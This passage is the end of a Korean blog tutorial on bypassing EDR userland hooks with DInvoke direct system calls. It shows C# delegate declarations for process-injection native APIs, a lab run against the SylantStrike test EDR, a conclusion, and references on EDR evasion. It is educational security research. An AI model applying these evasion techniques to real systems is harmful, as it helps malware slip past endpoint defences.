        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
        public delegate Data.Native.NTSTATUS NtOpenProcess(ref IntPtr ProcessHandle, Data.Win32.Kernel32.ProcessAccessFlags AccessMask, ref Data.Native.OBJECT_ATTRIBUTES ObjectAttributes, ref Data.Native.CLIENT_ID ClientId);

        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
        public delegate Data.Native.NTSTATUS NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, UInt32 ZeroBits, ref UInt32 RegionSize, UInt32 AllocationType, UInt32 Protect);

        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
        public delegate UInt32 NtProtectVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, UInt32 NewProtect, ref UInt32 OldProtect);

        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
        public delegate UInt32 NtWriteVirtualMemory(IntPtr ProcessHandle, IntPtr BaseAddress, IntPtr Buffer, UInt32 BufferLength, ref UInt32 BytesWritten);

        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
        public delegate Data.Native.NTSTATUS NtCreateThreadEx(out IntPtr threadHandle, Data.Win32.WinNT.ACCESS_MASK desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr startAddress, IntPtr parameter, bool createSuspended, int stackZeroBits, int sizeOfStack, int maximumStackSize, IntPtr attributeList);

    }

}

GetSyscallStub이 일어나는 구간에 브레이크 포인트를 건 뒤 stub 변수의 주소로 가 메모리를 살펴보면 다음과 같이 나온다.

GetSyscallStub가 시스템 콜 관련 어셈블리를 "긁어온" 모습

NtOpenProcess 네이티브 API의 시스템콜 스터브를 그대로 복사해왔다. NtOpenProcess 시스템콜 번호는 26인가보다. Windbg 로 아무 프로세스를 디버깅 해서 실제로 ntdll.dll!NtOpenProcess 를 디스어셈블 해보면 26이 나온다. DInvoke 가 성공적으로 시스템 콜 번호를 알아낸 것이다.

실제 NtOpenProcess의 시스템 콜 번호도 26이다

마지막 실습을 위해 SylantStrike을 다시 실행한 뒤 위 PoC 를 실행해보자.

.\SylantStrikeInject.exe --process=dinvokeSyscall.exe --dll=C:\opt\SylantStrike\x64\Debug\SylantStrike.dll

유저랜드 후킹을 우회에 성공적으로 코드가 실행되고 있다

SylantStrike가 DLL 인젝션을 하고, 유저랜드 후킹을 했지만 dinvokeSyscall 은 윈도우 API를 사용하지 않고 다이렉트 시스템 콜을 사용했기 때문에 코드가 실행됐다.

마치며

이번 글에서는 유저 랜드, 커널 랜드, 윈도우 API, 네이티브 API, 유저 랜드 후킹, 그리고 그것을 우회하는 다이렉트 시스템 콜에 대해서 알아봤다. 개념을 알아봄과 동시에 실습을 통해 PoC도 제작해보고 (dinvokeSyscall), Windbg 을 통해 유저랜드 후킹이 이뤄지는 모습을 디버깅 하며 공부해봤다.

파워쉘의 몰락과 더불어 엔드포인트 보안에서의 창과 방패 싸움이 치열했던 지난 5년간 유저랜드 후킹은 많은 공격을 막아냈다. 방패가 강력했던 만큼, 그 방패를 뚫으려 많은 유저랜드 후킹 우회 방법이 나왔다. 그 우회 방법에 또 대항하기 위해 방어자들은 유저랜드 후킹 뿐만 아니라 다양한 탐지 방법 (커널 콜백, ETW, 미니 필터, “AI/ML”, 시스템 콜 후킹(!)) 들을 함께 사용해 악성코드를 막아내고 있다. 이처럼 공격자와 방어자 사이의 창과 방패 싸움은 계속해서 진행되고 있다. 공격을 효과적으로 막아내기 위해서는 항상 공격자들이 어떤 방법을 사용하는지 꾸준히 공부를 할 필요가 있다.

Happy Hacking!

(and stay safe)

References

Windows Kernel Callbacks

http://blog.deniable.org/posts/windows-callbacks/

^ Practical hands-on for windows kernel callback silencing

https://www.matteomalvica.com/blog/2020/07/15/silencing-the-edr/

Removing Kernel Callbacks using Signed Drivers

https://br-sn.github.io/Removing-Kernel-Callbacks-Using-Signed-Drivers/

Mimidrv In-Depth

https://posts.specterops.io/mimidrv-in-depth-4d273d19e148

About ETW

https://docs.microsoft.com/en-us/windows/win32/etw/about-event-tracing

EDR Bypasses - Crikeycon 2019

https://www.youtube.com/watch?v=85H4RvPGIX4&ab_channel=CrikeyCon

EthicalChaos - Creating EDR w/ Userland hooking and bypassing

https://ethicalchaos.dev/2020/05/27/lets-create-an-edr-and-bypass-it-part-1/

https://ethicalchaos.dev/2020/06/14/lets-create-an-edr-and-bypass-it-part-2/

Concept of Hooking

https://blog.nettitude.com/uk/windows-inline-function-hooking

https://0x00sec.org/t/userland-api-monitoring-and-code-injection-detection/5565

Inline Hooking

https://www.malwaretech.com/2015/01/inline-hooking-for-programmers-part-1.html

New WinAPI to change thread/process state change

https://windows-internals.com/thread-and-process-state-change/

Userland Hooking bypass lists

https://s3cur3th1ssh1t.github.io/A-tale-of-EDR-bypass-methods/

Concept of System Call in Windows

https://www.n4r1b.com/posts/2019/03/system-calls-on-windows-x64/

NVISO Brown-bags - DInvoke to defeat EDRs (Jean_Maes doing great research & presenting them)https://github.com/NVISOsecurity/brown-bags

Show Comments